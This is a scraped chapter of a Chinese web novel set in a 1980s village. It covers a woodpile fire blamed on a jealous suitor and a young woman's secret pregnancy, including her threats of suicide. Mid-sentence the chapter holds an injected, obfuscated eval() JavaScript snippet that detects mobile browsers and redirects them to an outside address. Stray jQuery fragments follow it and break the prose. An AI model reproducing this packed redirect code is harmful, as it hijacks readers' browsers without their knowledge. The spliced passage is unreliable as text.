123读书网 > 玄幻小说 > 穿回80年代当裁缝 > 20. 第20章 傻姑娘
    于穹一家人在去年冬天搬去了大砖房,但他们家的柴禾还垛在村东头小草房的前园子里,没来得及移去砖房。


    这些柴禾有麦秆、豆秆、苞米秆,还有秋天上山打的树枝子,全是干透的,十分易燃。


    今晚的风很大,柴禾垛的火起势极为迅猛,方英和于穹狂奔过去,已经火光冲天。


    村里人看了一天二人转,回到家刚准备睡下,听说老于家柴禾垛着火,纷纷赶过来救火。


    一方面大家乡里乡亲,谁家着火都会帮忙去救。


    另一方面这样的大风天,柴火垛着火相当危险,每家之间的柴禾垛距离都不远,若火势借着大风肆意蔓延,有可能引燃邻家的柴禾垛甚至是房屋,一家连着一家,搞不好烧一趟街,后果不堪设想。


    这夜全村未眠,男人们奔跑接力挑水,女人们送来自家的水桶,一桶桶水源源不断泼向熊熊火焰。


    在全村人齐心协力的施救下,大火在第二天早上,终于被彻底扑灭。


    于穹家损失不小,柴禾被烧掉了大半。


    在这村里,老于家待人最是和气,从不曾与什么人结仇。


    村里人都觉得,这场火不会是有人故意纵火。柴禾垛临着村道边,估计是某个看完二人转回家的人,路过随手扔了个烟头,意外引燃柴禾。


    救火的村民散去,于穹的爹妈看着烧得半黑不黑,所剩不多的柴禾,愁眉苦脸。


    于穹推来手推车,将余下的柴禾往推车上抱,准备运去砖房那边。


    方英在旁帮忙,将一抱枝子放上推车,“我帮你。”


    “不用了!”于穹将方英拉到一边,在没人看到的地方拉住她的手,轻轻吹了吹她掌心的灰尘,“你也救火忙了一宿,辛苦了,快回家休息去。”


    “这里的活儿,我和我爸妈干就好。”


    方英轻轻点了一下头,“那你告诉叔婶,别着急上火。”她看着他,柔声说道:“你也不要发愁,柴禾不够的话,过几天我和我爸妈商量商量,要不把我家的柴送给你们一些。”


    于穹立即拒绝:“别,千万别。”他目光闪烁,压低声音对她说:“我都还没好好表现呢,不能要未来老丈人家的东西。”


    方英脸颊泛红,抿着嘴唇似羞似喜不说话。


    柴禾垛着火,于穹心里当然愁闷,但在她面前却未表露分毫。


    “不用担心。”他对她洒脱一笑,轻松地说:“就快入夏了,天气热不用烧太多柴,等秋天新柴下来,再多打些就好啦。”


    方英又说了几句宽慰的话,转身要走,脚下却踩到一个硬物,被咯了一下,她低头一看,竟是一支钢笔。


    她俯身将钢笔捡起,脸色微变,头脑中闪过一个念头,令她意外又心惊。


    因为她曾见过这支笔,这是温清璞的钢笔。


    “这怎么有支钢笔?”于穹纳闷,“是不是昨晚谁来救火的时候,掉下的?”


    方英心中疑惑,她的推测与他不同,但事情未明,她只是说了句:“或许是吧。”


    钢笔被她装进衣兜,带离了这里。


    这天晚上,英子妈身体不舒服,方英跑去姐姐家,叫来了姐夫周永峰。


    周永峰进门放下药箱,关心问道:“妈,您这是咋了?哪不舒服?”


    英子妈面有病色,背靠着枕头坐在炕上,咳嗽了两声,“从今天早上开始,头昏脑胀的,嗓子疼还咳嗽。”


    周永峰拿出温度计,“妈,您先测下体温,看发不发烧。”


    方万春道:“你妈可能是,昨黑给老于家救火,累出汗又受风,着凉冻着了。”


    周永峰点头,“爸说的有可能。也可能是这茬子病毒感冒,昨天聚一起看二人转,被旁人招上了。”


    “老温家大娘也是,感冒发烧。”他随口说道:“昨天半夜他家新来那小伙儿,叫温清璞吧,上我家找我去给温大娘打针。我跟他过去,给温大娘扎上,又看了两三个小时滴流,都没顾上去老于家救火。”


    方英眸光一颤,认真问道:“姐夫,昨晚温清璞,去老于家救火了吗?”


    “他也没去,昨晚我一直跟他唠嗑来着,说他之前在师专上学的事。”周永峰思索了一下,“温大娘打完滴流,我帮着拔完针,温大爷和温清璞送我从他们家走出去,那会儿天都蒙蒙亮了。”


    “在他们家门口,碰见几个给老于家救火回来的人,说火已经基本扑灭了。我们仨一合计,就没再往村东头去。”


    方英听完变了脸色,她心中的猜测在这一刻坐实。


    她已经确定,昨晚的火是温清璞放的!


    于穹家的柴禾垛在村东头,而老温家住在村子的西边,周永峰家在村子的中部。


    温清璞没去救火,他的钢笔却出现在被火烧过的现场。那么极有可能,昨夜他去给温大娘找大夫之前,先去到村东头放火,放火时疏忽将钢笔遗落。


    至于他放火的原因,也不难猜测,当然是昨天于穹和盼儿搭档唱二人转令他心生不满。他现在仍在伪装君子,忍着不对盼儿发作,却点燃柴禾垛报复于穹泄愤。


    方英不禁脊背发凉,心想温清璞着实阴暗低劣。


    她手握他的罪证,攥着那支钢笔,立即冲出门,直奔盼儿家而去。


    这会儿时间还不算太晚,盼儿的三个妹妹和一个弟弟还在蹦蹦跳跳玩耍,盼儿却已经躺在了被窝里。


    她瞧见方英进门,有些意外,“英子,你咋来了呢?”


    方英坐在炕沿,将钢笔举到盼儿眼前,“盼儿,这钢笔你认得吗?”


    盼儿没有起炕,从被窝里伸出手,拿过那支钢笔看了一眼,“这不是清璞的钢笔么!”她手指抹了一下钢笔上燃烧烟熏留下的黑色灰痕,“怎么会在你这?”


    “是我捡到的。”方英神色严峻,“今天早上,我在村东头,于穹家烧过的柴禾垛,捡到的这支钢笔。”


    盼儿呆愣愣的,“清璞的钢笔怎么会掉到那?”


    方英语气坚决,“因为,昨晚那场火,是温清璞放的!”


    “你胡说!不可能!”盼儿完全不信,激动道:“清璞和老于家无冤无仇,他怎么会去放火呢?”


    “他和老于家无仇,但他和于穹有仇。”方英眼中含着愤恨,“我和你说过,那人心胸狭隘,有疑心病。”


    “昨天于穹和你搭档,他一定心里嫉恨,所以背地里放火报复!”


    “清璞才不是那种人!单凭一支钢笔说明不了什么!”盼儿依然听不进去,对方英生起气来,“英子,你这是血口喷人!”


    “你怎么就肯定,这钢笔是清璞放火的时候落那的?怎么就不能是他一走一过,不小心掉下的呢?”


    方英不气盼儿不信她,也不气盼儿和她吵,而是着急,急她仍然执迷不悟。


    “盼儿,你要不信我,我们现在拿着钢笔去老温家,去找温清璞,当面去质问他!”


    她眼神倔强执着,无所畏惧,高声说道:“我们去问问,他到底是人是鬼!”


    她说罢,伸手抓住盼儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265708|197806||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的胳膊,猛地用力拉她坐起身。


    盼儿这一起炕,掀开的被窝里传出一阵浓浓的草莓味。


    方英低眸看去,看见盼儿的被窝里藏了好多高粱果。


    高粱果是东北的一种野生浆果,虽然名字叫高粱果,但与高粱毫无关系,而是一种野草莓。高粱果的草莓香非常浓郁,果子个头却比寻常的草莓小很多,大多只有小拇指甲盖大小。


    高粱果春末夏初结果,漫山遍野都可以采到,但是现在还没红透,不拌白糖吃,果子酸得厉害。


    方英诧异道:“盼儿,你不是吃不了酸的吗?怎么……”


    她突然停住话语,陡然萌生一种不详的预感,因为她在盼儿脸上,看到少女可怜的局促不安和羞臊难当。


    这时,盼儿妈听见方英和盼儿方才的争吵声走了进来,她看看盼儿被窝里的高粱果,又看看盼儿的表情,瞬间猜了个大概。


    “盼儿,你这个月来例假了吗?”她紧紧抓住盼儿的肩膀,情绪激动地逼问:“盼儿,跟妈说!你这个月来例假了吗?”


    盼儿臊得满脸通红,像老鼠一样钻回被窝里,扯了被子蒙住头,羞于见人。


    盼儿妈如同天塌了一般,又哭又嚎,对盼儿的被子一通胡乱捶打,“唉呀……丢人现眼呐!三姑娘丢人啦!还没结婚就跟着人家,在娘家闹上小病儿啦……”


    “这下什么彩礼、大件儿都要不了了,只能抓紧嫁给老温家那小子……要不肚子大了让人笑话啊!”


    方英看不过眼,听不下去,拦住盼儿妈道:“婶儿,您别打了!”


    “盼儿一时糊涂,但这不是她一个人的错。即便盼儿怀孕了,也不是必须嫁给温清璞。”


    “盼儿在服装厂工作能挣钱,孩子生下来可以自己养。”梦中盼儿的悲剧浮现脑海,她心情沉重恐惧又混乱,有些慌不择言,“也可以不要这个孩子,和温清璞彻底断绝瓜葛。”


    盼儿一把掀开头上的被子,红着眼睛看向方英,眼神里有脆弱、固执,还有清晰强烈的愤怒,“我绝不会不要我和清璞的孩子。”


    她语气决绝,似在宣布一个丝毫不容置疑的决定,“我爱清璞,我一定要嫁给他!”


    “你们要不让我嫁他,我宁可绝食饿死、喝敌敌畏药死,”她坐起身,哭着喊道:“或者干脆,一头撞死好了!”


    她说着,要去撞墙。


    方英迟疑一瞬,还是死死抱住了盼儿纤瘦的身躯,阻止她寻死。


    盼儿望着方英,眼神中尽是清澈又愚蠢的犟,十头牛都拉不回来的犟。她柔弱却坚决地开口:“你们就别拦我了,没有清璞,我活不了。”


    方英看着盼儿,这一刻她心里清楚,她没法拦住她。她担忧、无奈、悲伤、气恼,不禁落下泪来,对她说了一句:“傻瓜……”


    她终究没忍心,说出话的后半句:“嫁给他你才活不了。”


    “你嫁给他住哪啊?”盼儿妈崩溃地抹着眼泪,愁道:“总不能嫁到老温家去吧,那是他远房叔叔婶子家,他在那也是暂时借住。你们孩子生下来,总不能养在人家家里。”


    盼儿双手抱着膝盖,低着头小声缓缓说:“清璞说了,他手里有一点钱,再拿我之前在裁缝铺挣的工资凑一些,把老于家的草房买过来,我们先去那住,等以后有钱了,再换房子。”


    方英想到梦里,她奔到那间小草房,想到梦中的惨象,心里一阵恶寒。


    她眼中含泪,对盼儿道:“不行,你绝对不能,到那个小草房里结婚。”